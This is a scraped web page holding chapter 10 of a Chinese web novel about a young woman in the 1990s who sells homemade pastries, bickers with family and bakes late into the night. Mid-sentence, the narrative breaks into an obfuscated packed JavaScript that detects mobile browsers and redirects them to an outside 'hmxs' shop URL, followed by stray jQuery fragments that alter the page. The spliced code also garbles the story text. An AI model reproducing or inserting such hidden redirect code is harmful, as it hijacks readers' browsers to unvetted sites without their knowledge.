10.十

作品:《九十年代发家史

    吴淑玲到家的时间巧,正赶上大嫂在做午饭。


    要是平常,她肯定二话不说进去干活,但她今天站了一早上,实在累得慌,先在沙发上瘫着不动缓缓神。


    客厅里只有陈慈容夫妇在,老两口看着爬来爬去的重孙女吴玉华,一边问:“阿玲,都卖完啦?”


    吴淑玲嗯一声。


    她倒不是冷淡,是长辈们的耳朵越发不好使,她一早上说的话太多,这会有点扯不开嗓子,只把脖子扭来扭去,对着空气再踢两下腿。


    李彩霞掐着差不多的点从新房那边回来帮忙做午饭,一进屋就看她这样子,说:“你有点女孩样,这门都开着呢。”


    又问:“饼卖完啦?”


    一进来就唠叨,吴淑玲心里不耐烦,也是只嗯一声。


    孩子嘛,三天两头总是要摆脸色的。


    李彩霞都习惯了,压低点声音:“没看你阿嫂在忙,进去帮一帮。”


    吴淑玲腾地坐起来:“我也累一早上了。”


    到底是亲生的女儿,李彩霞哪有不心疼的道理。


    可儿媳妇进门了,做小姑子的还没出嫁时要是再不落点好,将来父母一伸腿,哪还有她的娘家回。


    她道:“你哪怕做做样子进去问一句。”


    吴淑玲本来是很高兴的,她自己大概算过,卖一包饼能挣两毛,也就是说她早上挣了六七块钱。


    虽然不多,总比什么都没有好,况且第一天她做得少,明天的量还可以往上加一加,一天十来块钱应该不是问题。


    但被她妈这两句话一搅和,什么好心情都没了。


    吴淑玲不乐意:“我哪天做样子了?哪天没干活了?”


    她语调一高,陈慈容夫妇俩才听出孙女跟儿媳妇是争起来了。


    陈慈容不管是因为什么,先打岔:“阿玲,你帮阿嬷倒一下水。”


    吴淑玲深呼吸,倒杯水后递过去,只是嘴角还是绷得紧紧的。


    李彩霞也没再开腔,一言不发进厨房,权当这一页翻过去了。


    吴淑玲有时候觉得大人挺厉害的,总是能在争执后当作什么都没发生。诚然她也知道都是小事,偏偏心里总是膈得慌,坐回沙发上板着脸。


    这孩子,有时候真是像团火,陈慈容拍拍孙女的手:“不要生气啦。”


    又习惯性地想要从口袋里掏点什么哄哄她,不过什么都没摸到。


    长辈年纪这么大了,吴淑玲又不是小孩子了,扯出一个笑脸:“没生气。”


    她只是忽然觉得这地方憋闷得很,走到院子里去看看天。


    天湛蓝湛蓝的,一朵朵厚厚的云飘过去,人心好像也随之变得悠闲许多。吴淑玲已经是快成年的人,很多情绪能自己调节好,毕竟日子都是这么磕磕碰碰过来的。


    她深吸口气又进屋,径直推开厨房的门。


    蔡凤丽不知道她们母女刚刚在外面争了几句,还以为小姑子是才到家。


    她问:“阿玲,饼卖完啦?”


    关系再好的姑嫂,也得更讲礼貌。


    吴淑玲笑:“卖完啦,我今天打算多做一点。”


    蔡凤丽替她高兴:“那很好欸,你要是忙不过来就叫我,我别的不行,能给你打包。”


    吴淑玲是懂人情世故的,刚要说点什么,李彩霞已经率先:“那不能给她白干,让阿玲请你吃石花膏。”


    其实现在还不用人帮忙,真需要的话吴淑玲也是这么想的,可被她妈一讲反而心里不舒服,好像自己是被谁安排着一样。


    她弄不清楚这是个什么心理,不过笑意未减:“阿弟一直喊要请他吃烧烤,到时候我们一起去。”


    蔡凤丽哪能让小姑子请客,来来回回又说两句,看上去算是亲亲热热的。


    人嘛,能处成这样也不错了。


    吴淑玲顺势帮忙端菜,摆上桌说:“我去叫回来吃饭。”


    她才往外走两步,就撞见弟弟跑进来。


    吴培明他们干的是装修新房子的活,各个搞得灰头土脸的。


    尤其是他,不知道的以为掉土里了。


    吴淑玲嫌弃道:“外面拍拍再进来。”


    吴培明退出门槛,隔着两米问:“饼卖完啦?”


    吴淑玲淡淡点个头。


    她这话说了好几遍,有点疲惫,倒叫吴培明心里犯嘀咕,凑近悄悄问:“又遇见什么奇怪的人了?”


    他之所以用“又”,是因为这种情况时有之,为此他没少跟人干起来。


    吴淑玲道:“没有,我就是困了。”


    她这也不是借口,才坐下来吃半碗饭就越发地睁不开眼,匆匆把碗底都刮空去午睡。


    睡觉之前,她还洗了个澡,才浑身清爽地躺在床上,对着开到最大档的风扇,眼睛一闭睡着了。


    这一觉睡得不长,她醒来根据从窗帘透进来的光判断出大概时间,本来打算再眯一会的。


    但她想到今天要做的饼多,一咬牙还是坐起身,换上干活的衣服下楼。


    饼房不上锁,她手一推就进去,先看看早上出门时泡的一盆绿豆怎么样了。


    绿豆吸满水变得圆鼓鼓的,稍微用点力皮就掉下来,但有一些顽固分子还是只能挨个挑。


    好在量不多,她花点功夫就搞定,捧着盆到厨房,从柜子里拿出自己专用的锅。


    煮绿豆的时候她一边琢磨着:再卖几天,能一直挣到钱的话,我就自己买个煤气灶。


    把馅炒好,她就开始做饼皮,一通忙活到夜里,连晚饭也没怎么好好吃。


    吴培明照旧来帮姐姐打包。


    他两只手用肥皂搓得干干净净的,寸头还被要求戴帽子,甚至嘴上有个口罩,闷得他快喘不过气,抱怨说:“不是,人家厂里都没你讲究。”


    卫生这种东西,只能凭各人的良心。


    像好友吴姗姗最近在冰棍厂打工,用她的话来说就是:“一辈子再也不想吃冰棍了。”


    吴淑玲这不过是小作坊中的小作坊,有些事情凑合着点也可以。但她不这么想,说:“要是你吃到点别的东西,不膈应吗?”


    吴培明想想也是,只能往风扇的位置再挪一挪。


    吴淑玲其实也热,毕竟烤箱在这屋接连工作了七八个小时,后面几炉饼她设置的温度也越来越低。


    但比起谁都能经过的客厅,当然是里头更干净一些。


    她道:“不然你去睡觉吧,剩这点我自己来。”


    吴培明看着她露在外面的唯一五官:“还是你去睡吧,你今天眼袋都快比眼睛大了。”


    吴淑玲翻个不大不小的白眼:“我那是卧蚕,你懂个屁啊。”


    吴培明耸耸肩:“我看都一样。”


    吴淑玲才不跟他争这些,显得自己也像是个傻瓜:“你轻点,都捏碎两个饼了。”


    碎的吴培明都放一边,打算待会当宵夜吃。


    他道:“要是家里有椰汁就好了。”


    这示意得也太刻意了,吴淑玲哪能听不出来:“知道知道,明天就给你带回来。”


    吴培明嘿嘿笑,又说起些有的没的闲话。


    姐弟俩边聊天边干活,时间过得很快,但进度半点没加速。


    等吴淑玲躺下的时候已经是十二点。


    她沾枕头就睡着,第二天不情不愿地起床。


    吴玉华今天醒的很早,坐在院子里的看妈妈洗衣服,听见姑姑的声音回头看,伸着手要抱抱。


    吴淑玲只摸摸她的头:“乖啦,姑姑有事要忙,等赚到钱给你买娃娃好不好?”


    吴玉华听不懂,手伸得越来越长,看上去可怜巴巴的。


    小孩嘛,总是要人陪着玩的。


    大嫂虽然是在家带孩子,可一天天的家务事堆积如山,多数时间只能把女儿困在推车里。


    这还是好的,吴淑玲记得弟弟以前是被绑起来的。


    吴培明的调皮从会走路开始就初现端倪,那几年家里人还在种田,赶上农忙不分几岁都要下地,最小的孩子只能用绳绑着,在树荫下铺个旧席子,绳子的一头系在树上,限制住他的活动范围。


    据说吴淑玲小时候也是这样的。


    她自己哪里记得,但听得多好像眼前也有自己被绑起来的画面,因此面对小侄女总是难免心软,蹲下来想跟她玩一会。


    蔡凤丽见状:“阿玲你忙你的,让她自己玩没事的。”


    她也就一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882727|191727||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    家三口的衣服要洗,很快就完事了。


    吴淑玲说着不急,又多停留几分钟才出门。


    她今天也是来迟了,街上依旧人头攒动,不过摩托车店门口的位置还是空着的。


    吴淑玲心里犯嘀咕:怎么没人摆在这?是不是大家都觉得这地方老板有用,反而不好意思?


    她反正脸皮没那么薄,把摩托停在街对面照不到太阳的地方,哼哧哼哧一手拿着折叠桌,一手拎着放饼的筐穿过马路,在昨天同样的位置撑开桌子,念叨着:菩萨保佑,财源广进。


    老天爷兴许是听到了,她刚把东西都摆上,就有人说:“老板,要一包饼。”


    声音比人先到的跟前,吴淑玲回头看,认出他是摩托车店的老板。


    她有个毛病,人脸向来记得不太清,每认识一个人得见上好几次才能留下点印象,但兴许是这人的身高远超本县平均水平,反倒是个记忆点。


    吴淑玲是见他个子高才反应过来的,犹豫着:我在人家店门口摆摊,要不要打个招呼呢?


    可她其实是有点“怕”男生的,尤其是同龄人,因为她从前因为习惯性跟人摆好脸色,惹过些奇奇怪怪的烂桃花。


    况且此人长得不太良善,吴淑玲有点想躲着,片刻之间就决定当作不知道他是谁,说:“一块钱一包,我给你装起来。”


    这句话还真是熟悉,连语调都好像跟昨天的没区别,包括客人的反应。


    他递出一张十块钱道:“不用,我拿着走就行。”


    吴淑玲已经有所预料,手在塑料袋上虚虚一过:“稍等一下,我给你找钱。”


    她又数出九张一块钱,不由得疑心:他不会是来找我换零钱的吧?


    那些奇怪的念头只在她脑海里存在一秒,很快就消失不见。吴淑玲把饼和找零都给他,忙着跟路过的熟人说话。


    熟人:“阿玲什么时候开始卖饼的?”


    摆摊又不丢人,吴淑玲是不知道能干几天才没宣传的,她大大方方道:“这是第二天,我给你拿一包回去尝尝。”


    熟人推脱着说“肯定要给钱的”,你来我往半天把一块钱的硬币放桌上说:“你收好啊。”


    然后转身就走,活像怕有人追上去似的。


    吴淑玲总不能抛下这一堆东西追过去,只得先把钱放口袋里,期待着下一位客人。可连着十来分钟,问的还有零星几个,买的是一个都没有。


    说心里不急是假的,毕竟吴淑玲今天做了三百个饼,这要是砸手里就恼人了。


    可她知道急也没用,有点破罐子破摔地观察身边的一切打发时间,看看有什么有意思的事情。


    她第一眼看的就是身后的摩托车店——店铺占了三间店面,透过玻璃能看到里面整齐摆着的摩托车。除了老板,员工好像还有三个,有修车的有卖车的,不过这会他们都没在干活,反而凑一块不知道在说些什么。


    不怪吴淑玲看得清楚,谁叫她摆摊的位置正好在人家店的出入口,前后不过三米的距离。


    要不她怎么那么怕被赶走,因为约定俗成里,这片地方是归人家摩托车店的,所以大家一般都在相熟的店门口摆着,或者给老板交点钱之类的。


    要不自己也去交一点?省得成天这么提心吊胆的。


    但吴淑玲一来是想省着点钱,毕竟她这生意还不稳定,二来是不知道怎么谈,怕人家要得多,自己万一给不起,不连这个空位都没了。


    可不谈,好像又不明不白占了人家的便宜。


    吴淑玲一时拿不定主意,看有客人先把这件事放一边,招呼说:“一包六个,我自己做的,特别好吃。”


    这位客人买了三包,一看就是明天初一烧香的供品。吴淑玲也是打小跟着她妈在道观庙宇里拜来拜去的,本地人记农历的日子特别清楚。


    等这个客人走,她盘算着:过两天就是端午,不然试试卖粽子?


    这个想法因为接下来几分钟内接踵而至的客人很快打消,吴淑玲片刻之间又变得理智起来:这饼才卖第二天,回头客也没那么快来,我这朝三暮四的,万一捡了芝麻丢了西瓜。


    不过吴淑玲也知道,按她的性格,之后也会翻来覆去地变化。